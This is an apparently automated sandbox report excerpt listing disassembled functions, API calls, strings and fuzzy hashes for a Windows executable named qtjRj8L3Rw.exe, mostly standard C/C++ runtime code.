Opcode Fuzzy Hash: d12cfb22ca7cfabd9b3543f976b9a6cca7387d74ad041b3771f0ef4f1b78d097
Instruction Fuzzy Hash: 53B12FB5A012199FDB28DF18C884BAEB7B4FF48314F1445EAE949A7390D771AE90CF40

Uniqueness

Uniqueness Score: 0.02%

Function 00C04561, Relevance: 7.7, APIs: 5, Instructions: 186COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00C0690D: RtlAllocateHeap.NTDLL(00000000,?,?,?,00BF48E0,?,?,00BE8B4A,?,?,00BD1154), ref: 00C0693F

_free.LIBCMT ref: 00C04670
_free.LIBCMT ref: 00C04687
_free.LIBCMT ref: 00C046A4
_free.LIBCMT ref: 00C046BF
_free.LIBCMT ref: 00C046D6

Memory Dump Source

Source File: 00000000.00000002.644450642.0000000000BD1000.00000020.00020000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.644431700.0000000000BD0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644558837.0000000000C1A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644600257.0000000000C2E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644624889.0000000000C31000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_qtjRj8L3Rw.jbxd

Yara matches

Similarity

API ID: _free$AllocateHeap
String ID:
API String ID: 3033488037-0
Opcode ID: 45588ea89d4668b0e037d21236089d4f36505f99e27f14c9babe03a345d23a4a
Instruction ID: 73ab3deb11306038716b56ebe3dbd111bf820c62815e6e8ae2af261d5f57b09a
Opcode Fuzzy Hash: 45588ea89d4668b0e037d21236089d4f36505f99e27f14c9babe03a345d23a4a
Instruction Fuzzy Hash: 5251C0B2A00604EFDB28DF69DC41A6BB7F4EF49720B144669F519D72D0E732EA01DB90

Uniqueness

Uniqueness Score: 0.02%

Function 00BEA760, Relevance: 7.6, APIs: 5, Instructions: 102COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00BEA78D
std::_Lockit::_Lockit.LIBCPMT ref: 00BEA7AD
std::_Lockit::~_Lockit.LIBCPMT ref: 00BEA7CD
std::_Facet_Register.LIBCPMT ref: 00BEA86B
std::_Lockit::~_Lockit.LIBCPMT ref: 00BEA883

Memory Dump Source

Source File: 00000000.00000002.644450642.0000000000BD1000.00000020.00020000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.644431700.0000000000BD0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644558837.0000000000C1A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644600257.0000000000C2E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644624889.0000000000C31000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_qtjRj8L3Rw.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_Register
String ID:
API String ID: 459529453-0
Opcode ID: e402af3284efea87713c83355849c6270cc29a97dde739a87dcae7e6a75fd0f1
Instruction ID: 24b59ead9c5094f5e085dbca622f423424be7e0ddedd2baa0a984a2db8b29d4d
Opcode Fuzzy Hash: e402af3284efea87713c83355849c6270cc29a97dde739a87dcae7e6a75fd0f1
Instruction Fuzzy Hash: 0641BF72910258CFCB28DF15D891BAEBBF8EB14710F1541A9E8056B351DB31BD46CBD2

Uniqueness

Uniqueness Score: 0.53%

Function 00C0CFBA, Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00C0CFD2

Part of subcall function 00C068D3: HeapFree.KERNEL32(00000000,00000000,?,00C0D25C,?,00000000,?,?,?,00C0D4FF,?,00000007,?,?,00C0DA9C,?), ref: 00C068E9
Part of subcall function 00C068D3: GetLastError.KERNEL32(?,?,00C0D25C,?,00000000,?,?,?,00C0D4FF,?,00000007,?,?,00C0DA9C,?,?), ref: 00C068FB

_free.LIBCMT ref: 00C0CFE4
_free.LIBCMT ref: 00C0CFF6
_free.LIBCMT ref: 00C0D008
_free.LIBCMT ref: 00C0D01A

Memory Dump Source

Source File: 00000000.00000002.644450642.0000000000BD1000.00000020.00020000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.644431700.0000000000BD0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644558837.0000000000C1A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644600257.0000000000C2E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644624889.0000000000C31000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_qtjRj8L3Rw.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: da5cbb19b7bc0fce347e492826ceb23762ed6ad73baf6a85f967de8d770befb2
Instruction ID: c81d9d530b89900198751d025780a4caf7ad324f5b2fd602cd323b98a8d25f5a
Opcode Fuzzy Hash: da5cbb19b7bc0fce347e492826ceb23762ed6ad73baf6a85f967de8d770befb2
Instruction Fuzzy Hash: FBF0123251422067CA30EFD4E4C1E1F77DAAA01710B544915F02AE7DC1CB30FD91DBA5

Uniqueness

Uniqueness Score: 0.02%

Function 00BDA230, Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190UNIQUE

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00BDA484

Strings

?, xrefs: 00BDA290
<, xrefs: 00BDA286
mxyz, xrefs: 00BDA2C0

Memory Dump Source

Source File: 00000000.00000002.644450642.0000000000BD1000.00000020.00020000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.644431700.0000000000BD0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644558837.0000000000C1A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644600257.0000000000C2E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644624889.0000000000C31000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_qtjRj8L3Rw.jbxd

Yara matches

Similarity

API ID: Concurrency::cancel_current_task
String ID: <$?$mxyz
API String ID: 118556049-2422011075
Opcode ID: 9399e1208a94ccaf9b9fdf37652b3fee5b068c650358d08d410c41ca6b0852d6
Instruction ID: fa8c9552b99975751fd79a91874bb2f56b797b27c2c096ec5dceecfffce27b84
Opcode Fuzzy Hash: 9399e1208a94ccaf9b9fdf37652b3fee5b068c650358d08d410c41ca6b0852d6
Instruction Fuzzy Hash: 3261F471D00288CBDB24DF68C8447AEFBF5EF44314F2446AEE415A7381E7B59A89CB91

Uniqueness

Uniqueness Score: 100.00%

Function 00BD3420, Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 181UNIQUE

Download Yara Rule

APIs

___std_exception_destroy.LIBVCRUNTIME ref: 00BD362E
___std_exception_destroy.LIBVCRUNTIME ref: 00BD363D

Strings

, column , xrefs: 00BD34BC
at line , xrefs: 00BD3479

Memory Dump Source

Source File: 00000000.00000002.644450642.0000000000BD1000.00000020.00020000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.644431700.0000000000BD0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644558837.0000000000C1A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644600257.0000000000C2E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644624889.0000000000C31000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_qtjRj8L3Rw.jbxd

Yara matches

Similarity

API ID: ___std_exception_destroy
String ID: at line $, column
API String ID: 4194217158-191570568
Opcode ID: ed97a513914cc2fc80b9f6e3d76fb14001e8d86d5f1d77fb82f02017d3a1b1e9
Instruction ID: b6583b3ed6b3bbdefd87bcaf401c1f480bc71712a70a0f86ba01dd4fb3a78588
Opcode Fuzzy Hash: ed97a513914cc2fc80b9f6e3d76fb14001e8d86d5f1d77fb82f02017d3a1b1e9
Instruction Fuzzy Hash: BC51F3719002489FEB18CF68D945BAEFBF5EF85704F10469DE404A7392EB74DA848B51

Uniqueness

Uniqueness Score: 100.00%

Function 00C02C71, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 121UNIQUE

Download Yara Rule

Strings

C:\Users\user\Desktop\qtjRj8L3Rw.exe, xrefs: 00C02CAF, 00C02CB6, 00C02CEA

Memory Dump Source

Source File: 00000000.00000002.644450642.0000000000BD1000.00000020.00020000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.644431700.0000000000BD0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644558837.0000000000C1A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644600257.0000000000C2E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644624889.0000000000C31000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_qtjRj8L3Rw.jbxd

Yara matches

Similarity

API ID:
String ID: C:\Users\user\Desktop\qtjRj8L3Rw.exe
API String ID: 0-552899506
Opcode ID: b21ec01b14434e392af2c1578bb7ab591fcf3b49f30ae5bc976b97ee0fcc2216
Instruction ID: 8ee7e392a6725c59af62c33e3e634776d6da8df87a94bac8284d67c7ca21aeed
Opcode Fuzzy Hash: b21ec01b14434e392af2c1578bb7ab591fcf3b49f30ae5bc976b97ee0fcc2216
Instruction Fuzzy Hash: FD317271A00318ABDB21DF99D989EAEBBF8EB89710B50407AF814D7291D6709F41DB60

Uniqueness

Uniqueness Score: 100.00%

Function 00BF95DE, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 112UNIQUELIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?,00000000,1FFFFFFF), ref: 00BF9603
CatchIt.LIBVCRUNTIME ref: 00BF96E9

Strings

RCC, xrefs: 00BF961D
MOC, xrefs: 00BF9615

Memory Dump Source

Source File: 00000000.00000002.644450642.0000000000BD1000.00000020.00020000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.644431700.0000000000BD0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644558837.0000000000C1A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644600257.0000000000C2E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644624889.0000000000C31000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_qtjRj8L3Rw.jbxd

Yara matches

Similarity

API ID: CatchEncodePointer
String ID: MOC$RCC
API String ID: 1435073870-2084237596
Opcode ID: f94cd707fb072880aa2a27f0333a8a3acbda37b8eb01464c84140305c25c97e0
Instruction ID: e9f12e4d21af4c99301919b5b56adb9257ce302399f9ab69f47dc7645369ffec
Opcode Fuzzy Hash: f94cd707fb072880aa2a27f0333a8a3acbda37b8eb01464c84140305c25c97e0
Instruction Fuzzy Hash: 1741347290020DAFDF16DF98CD81AEEBBB5FF48304F188199FA04A7261D3359A54DB50

Uniqueness

Uniqueness Score: 100.00%

Function 00BD2BD0, Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 64COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00BD2C5F

Part of subcall function 00BF731A: RaiseException.KERNEL32(E06D7363,00000001,00000003,00BD21DC,?,?,?,00BD21DC,?,00C2D414), ref: 00BF737A

Strings

ios_base::badbit set, xrefs: 00BD2C05
ios_base::eofbit set, xrefs: 00BD2C14
ios_base::failbit set, xrefs: 00BD2C0F

Memory Dump Source

Source File: 00000000.00000002.644450642.0000000000BD1000.00000020.00020000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.644431700.0000000000BD0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644558837.0000000000C1A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644600257.0000000000C2E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644624889.0000000000C31000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_qtjRj8L3Rw.jbxd

Yara matches

Similarity

API ID: ExceptionRaise___std_exception_copy
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 3109751735-1866435925
Opcode ID: 715dc07dde1f025595d890dfd9a04b2a1f56c6d59c3cd5193484520b46451bb2
Instruction ID: 9e5f607f1700360bbd88e17774ba485271b1908920eb8c1ad5036d7195ab3dd4
Opcode Fuzzy Hash: 715dc07dde1f025595d890dfd9a04b2a1f56c6d59c3cd5193484520b46451bb2
Instruction Fuzzy Hash: 911103B15103086BCB04DF58D802BA6F3E8EF60310F14896BF9158BA81FB70E954CBA5

Uniqueness

Uniqueness Score: 7.75%

Function 00C0727B, Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00C07302

Memory Dump Source

Source File: 00000000.00000002.644450642.0000000000BD1000.00000020.00020000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.644431700.0000000000BD0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644558837.0000000000C1A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644600257.0000000000C2E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644624889.0000000000C31000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_qtjRj8L3Rw.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 30215aa7633be5a151444ef3af0f45258a63018f10652b0b38a6e06bf638477f
Instruction ID: b4db753f81f60a114f5856c7be373727475d0406a53cf64e65b69db025454b69
Opcode Fuzzy Hash: 30215aa7633be5a151444ef3af0f45258a63018f10652b0b38a6e06bf638477f
Instruction Fuzzy Hash: C1B15931D082459FDB19CF68C8417FEBBF5EF55340F2482AAE854DB281D234AE41DB60

Uniqueness

Uniqueness Score: 0.57%

Function 00BE6D40, Relevance: 6.2, APIs: 4, Instructions: 204COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,?,00000004,?,00000000,00000000,?,00000000,00000000,00000000,?), ref: 00BE6E01
GetLastError.KERNEL32(?,00000000,00000000,?,00000000,00000000,00000000,?), ref: 00BE6E15
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,?,00000000,00000000,?,00000000,00000000,00000000,?), ref: 00BE6E31
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 00BE6E59

Memory Dump Source

Source File: 00000000.00000002.644450642.0000000000BD1000.00000020.00020000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.644431700.0000000000BD0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644558837.0000000000C1A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644600257.0000000000C2E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644624889.0000000000C31000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_qtjRj8L3Rw.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide$ErrorLast
String ID:
API String ID: 1717984340-0
Opcode ID: 059fd646b8d3ce90e901801213f6d893202876b34d018f0acc08239756e084b8
Instruction ID: 98978c08c4916638ebcdb6186edbaf518de775821bdd807e1dbf21d25fc0becf
Opcode Fuzzy Hash: 059fd646b8d3ce90e901801213f6d893202876b34d018f0acc08239756e084b8
Instruction Fuzzy Hash: 9C51E875600245EBCB249F69DC41FAEB7E5EF64740F1481ADF9059B281EB31F910CB91

Uniqueness

Uniqueness Score: 0.07%

Function 00BF8FD1, Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00BF9098
___AdjustPointer.LIBCMT ref: 00BF90BB
___AdjustPointer.LIBCMT ref: 00BF9157

Memory Dump Source

Source File: 00000000.00000002.644450642.0000000000BD1000.00000020.00020000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.644431700.0000000000BD0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644558837.0000000000C1A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644600257.0000000000C2E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644624889.0000000000C31000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_qtjRj8L3Rw.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: cf5435f4d5e4daa5ae8843d7af8b241029262684930e5fc4bb02ac1134481622
Instruction ID: a4afbbf432b3b4ca07d9aeb9049d7afe3dd859f9f960980ad3121eaf09b8f9e5
Opcode Fuzzy Hash: cf5435f4d5e4daa5ae8843d7af8b241029262684930e5fc4bb02ac1134481622
Instruction Fuzzy Hash: 8351E57160420EAFEB299F24D885B7A77E4EF40710F1445ADEF0567291EB32ED58CB90

Uniqueness

Uniqueness Score: 1.18%

Function 00C158AE, Relevance: 6.1, APIs: 4, Instructions: 132fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00C1597E
_free.LIBCMT ref: 00C159A7
SetEndOfFile.KERNEL32(00000000,00C13F56,00000000,00C08E9C,?,?,?,?,?,?,?,00C13F56,00C08E9C,00000000), ref: 00C159D9
GetLastError.KERNEL32(?,?,?,?,?,?,?,00C13F56,00C08E9C,00000000,?,?,?,?,00000000), ref: 00C159F5

Memory Dump Source

Source File: 00000000.00000002.644450642.0000000000BD1000.00000020.00020000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.644431700.0000000000BD0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644558837.0000000000C1A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644600257.0000000000C2E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644624889.0000000000C31000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_qtjRj8L3Rw.jbxd

Yara matches

Similarity

API ID: _free$ErrorFileLast
String ID:
API String ID: 1547350101-0
Opcode ID: 3f5d571402001bb5709bb17eac31023fab44bac60056449ae8493099dacca126
Instruction ID: deb538cc5c19a6eaf9e2b6751dedc377437f393b18bd79edab43e235e5f01156
Opcode Fuzzy Hash: 3f5d571402001bb5709bb17eac31023fab44bac60056449ae8493099dacca126
Instruction Fuzzy Hash: CA41E672900A05DBDB11ABA8CC46BDD77A5AF86330F154210F834E71D1EA30CE92F762

Uniqueness

Uniqueness Score: 1.64%

Function 00C06F6D, Relevance: 6.1, APIs: 4, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(00000008,?,00000000,00C0C55A,00BF591B,00BF5961,?,00BF57A8,00000000), ref: 00C06F72
_free.LIBCMT ref: 00C06FCF
_free.LIBCMT ref: 00C07005
SetLastError.KERNEL32(00000000,00000006,000000FF,?,00BF57A8,00000000), ref: 00C07010

Memory Dump Source

Source File: 00000000.00000002.644450642.0000000000BD1000.00000020.00020000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.644431700.0000000000BD0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644558837.0000000000C1A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644600257.0000000000C2E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644624889.0000000000C31000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_qtjRj8L3Rw.jbxd

Yara matches

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: d440da8295a845f0852c866ccf35d1067188eaa62af0f46cc423c90f34cc7f4d
Instruction ID: 893e64b5ad49935e96640db51edadb1858e0f412f22864a5c74964e3ffb78f79
Opcode Fuzzy Hash: d440da8295a845f0852c866ccf35d1067188eaa62af0f46cc423c90f34cc7f4d
Instruction Fuzzy Hash: A1110A726047126BD6212BB5EC85F2F215A9BC13B8F354334F135921D3ED31CD22E261

Uniqueness

Uniqueness Score: 0.28%

Function 00C070C4, Relevance: 6.1, APIs: 4, Instructions: 69COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00C0185C,00C06950,?,?,00BF48E0,?,?,00BE8B4A,?,?,00BD1154), ref: 00C070C9
_free.LIBCMT ref: 00C07126
_free.LIBCMT ref: 00C0715C
SetLastError.KERNEL32(00000000,00000006,000000FF,?,?,?,00C0185C,00C06950,?,?,00BF48E0,?,?,00BE8B4A,?), ref: 00C07167

Memory Dump Source

Source File: 00000000.00000002.644450642.0000000000BD1000.00000020.00020000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.644431700.0000000000BD0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644558837.0000000000C1A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644600257.0000000000C2E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644624889.0000000000C31000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_qtjRj8L3Rw.jbxd

Yara matches

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 6419693c48a0321c135c5b6e49c41807f57eeb4e94fea095a4d7969a3f87643a
Instruction ID: 12ba3768160cbe19a29dc5ffe0a0b79d02d3b27353c9b167a6e31ba4751932dc
Opcode Fuzzy Hash: 6419693c48a0321c135c5b6e49c41807f57eeb4e94fea095a4d7969a3f87643a
Instruction Fuzzy Hash: 8011E932A087116BE6252675DC85F2F216ADBC2778F358334F135926E3ED31DE12D261

Uniqueness

Uniqueness Score: 0.28%

Function 00C157A2, Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00C1329D,00000000,00000001,00000000,00000000,?,00C08407,?,00C01707,00000000), ref: 00C157B9
GetLastError.KERNEL32(?,00C1329D,00000000,00000001,00000000,00000000,?,00C08407,?,00C01707,00000000,?,00000000,?,00C0895B,?), ref: 00C157C5

Part of subcall function 00C1578B: CloseHandle.KERNEL32(FFFFFFFE,00C157D5,?,00C1329D,00000000,00000001,00000000,00000000,?,00C08407,?,00C01707,00000000,?,00000000), ref: 00C1579B

___initconout.LIBCMT ref: 00C157D5

Part of subcall function 00C1574D: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,00C1577C,00C1328A,00000000,?,00C08407,?,00C01707,00000000,?), ref: 00C15760

WriteConsoleW.KERNEL32(00000000,00000000,00000000,00000000,?,00C1329D,00000000,00000001,00000000,00000000,?,00C08407,?,00C01707,00000000,?), ref: 00C157EA

Memory Dump Source

Source File: 00000000.00000002.644450642.0000000000BD1000.00000020.00020000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.644431700.0000000000BD0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644558837.0000000000C1A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644600257.0000000000C2E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644624889.0000000000C31000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_qtjRj8L3Rw.jbxd

Yara matches

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: dfa7b4a50c97c76264ca8867a08c620d883bf8915e78b52c636746e9c57f0fa1
Instruction ID: 81c55f48383541f1811ff5550842d4db9a9d4fedf8669e0225588951ee818355
Opcode Fuzzy Hash: dfa7b4a50c97c76264ca8867a08c620d883bf8915e78b52c636746e9c57f0fa1
Instruction Fuzzy Hash: 1FF01C36411624FBCF226F91DC0ABDD3F66FB4A3A0B014011FA1995171C63289A0EBD1

Uniqueness

Uniqueness Score: 0.24%

Function 00BF467D, Relevance: 6.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

SleepConditionVariableCS.KERNELBASE(?,00BF461A,00000064), ref: 00BF46A0
LeaveCriticalSection.KERNEL32(00C2F1D8,?,?,00BF461A,00000064,?,00C3013C,?,00BD4124,00C301A8,00C3013C,00BD834F,5CB9E59C,0000000F,?,00000000), ref: 00BF46AA
WaitForSingleObjectEx.KERNEL32(?,00000000,?,00BF461A,00000064,?,00C3013C,?,00BD4124,00C301A8,00C3013C,00BD834F,5CB9E59C,0000000F,?,00000000), ref: 00BF46BB
EnterCriticalSection.KERNEL32(00C2F1D8,?,00BF461A,00000064,?,00C3013C,?,00BD4124,00C301A8,00C3013C,00BD834F,5CB9E59C,0000000F,?,00000000), ref: 00BF46C2

Memory Dump Source

Source File: 00000000.00000002.644450642.0000000000BD1000.00000020.00020000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.644431700.0000000000BD0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644558837.0000000000C1A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644600257.0000000000C2E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644624889.0000000000C31000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_qtjRj8L3Rw.jbxd

Yara matches

Similarity

API ID: CriticalSection$ConditionEnterLeaveObjectSingleSleepVariableWait
String ID:
API String ID: 3269011525-0
Opcode ID: 312ff91c45415439934e0e399c0bdb267a461fb0d656004cbb4be996797a63d3
Instruction ID: 75805cb6c6f54abf97fbaed8c6ce62879838894aac48c8b9a1cfa45900d6a01d
Opcode Fuzzy Hash: 312ff91c45415439934e0e399c0bdb267a461fb0d656004cbb4be996797a63d3
Instruction Fuzzy Hash: CBE0ED36542228FBCF111B50FC09BEE7A38AB0AB62B5080B4FA0667560C76119269BE5

Uniqueness

Uniqueness Score: 3.32%

Function 00BD3040, Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 273UNIQUE

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00BD33AA

Strings

ror, xrefs: 00BD308F
parse error, xrefs: 00BD30ED

Memory Dump Source

Source File: 00000000.00000002.644450642.0000000000BD1000.00000020.00020000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.644431700.0000000000BD0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644558837.0000000000C1A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644600257.0000000000C2E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644624889.0000000000C31000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_qtjRj8L3Rw.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID: parse error$ror
API String ID: 2659868963-4201802366
Opcode ID: cbf69417a70954cd6d1e657042b3ac6b3b59ff43ff998456e545ef59a8585b55
Instruction ID: 41d1680b4e2dcb6ff1726859fd212d4248b0c5562175197a198eed5b440760e7
Opcode Fuzzy Hash: cbf69417a70954cd6d1e657042b3ac6b3b59ff43ff998456e545ef59a8585b55
Instruction Fuzzy Hash: E3B1B1719002588FEB19CF68CD45BADFBB2EF45304F1082D9E408AB396EB759AC4CB51

Uniqueness

Uniqueness Score: 100.00%

Function 00BF1730, Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 259UNIQUE

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00BF1800

Strings

cannot get value, xrefs: 00BF19D3

Memory Dump Source

Source File: 00000000.00000002.644450642.0000000000BD1000.00000020.00020000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.644431700.0000000000BD0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644558837.0000000000C1A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644600257.0000000000C2E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644624889.0000000000C31000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_qtjRj8L3Rw.jbxd

Yara matches

Similarity

API ID: Concurrency::cancel_current_task
String ID: cannot get value
API String ID: 118556049-2333289761
Opcode ID: d9b4b19be006df723c17d79442467b0c2d04f564c3ea310f2ca61170a37aef69
Instruction ID: ae055c9a340760794e696e3ec78527e089239b564eceb295414045829b68e6d8
Opcode Fuzzy Hash: d9b4b19be006df723c17d79442467b0c2d04f564c3ea310f2ca61170a37aef69
Instruction Fuzzy Hash: A391AF75900249DFCB14DF98C8909EEFBF4FF48310B148A99D955AB346D770AD0ACB90

Uniqueness

Uniqueness Score: 100.00%

Function 00BD2D50, Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 255UNIQUE

Download Yara Rule

Strings

[json.exception., xrefs: 00BD2E3E

Memory Dump Source

Source File: 00000000.00000002.644450642.0000000000BD1000.00000020.00020000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.644431700.0000000000BD0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644558837.0000000000C1A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644600257.0000000000C2E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644624889.0000000000C31000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

